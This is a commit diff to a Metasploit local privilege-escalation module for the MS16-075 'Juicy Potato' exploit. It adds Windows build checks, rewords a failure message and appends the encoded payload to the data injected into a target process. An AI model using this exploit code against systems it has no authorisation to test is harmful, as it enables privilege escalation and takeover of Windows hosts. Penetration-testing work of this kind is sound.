fix: improve exploit check

modules/exploits/windows/local/ms16_075_reflection_juicy.rb

@@ -112,6 +112,14 @@ class MetasploitModule < Msf::Exploit::Local
 
   def check
     privs = client.sys.config.getprivs
+    win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
+    if win10build and win10build[1] > '17134'
+       return Exploit::CheckCode::Safe
+    end
+    win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
+    if win2019build and win2019build[1] > '17134'
+       return Exploit::CheckCode::Safe
+    end
     if privs.include?('SeImpersonatePrivilege')
       return Exploit::CheckCode::Appears
     end
@@ -129,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Local
     print_status("#{my_target['Arch']}")
     verify_arch(my_target)
     if check == Exploit::CheckCode::Safe
-      fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
+      fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege or Windows version not supported')
     end
     if my_target.opts['Arch'] == 'x64'
       dll_file_name = 'juicypotato.x64.dll'
@@ -161,6 +169,7 @@ class MetasploitModule < Msf::Exploit::Local
     configuration += "#{datastore['RPC_IP']}\x00"
     configuration += "#{datastore['RPC_PORT']}\x00"
     configuration += "#{datastore['DCOM_IP']}\x00"
+    configuration += payload.encoded
     payload_mem = inject_into_process(process, configuration)
     # invoke the exploit, passing in the address of the payload that
     # we want invoked on successful exploitation.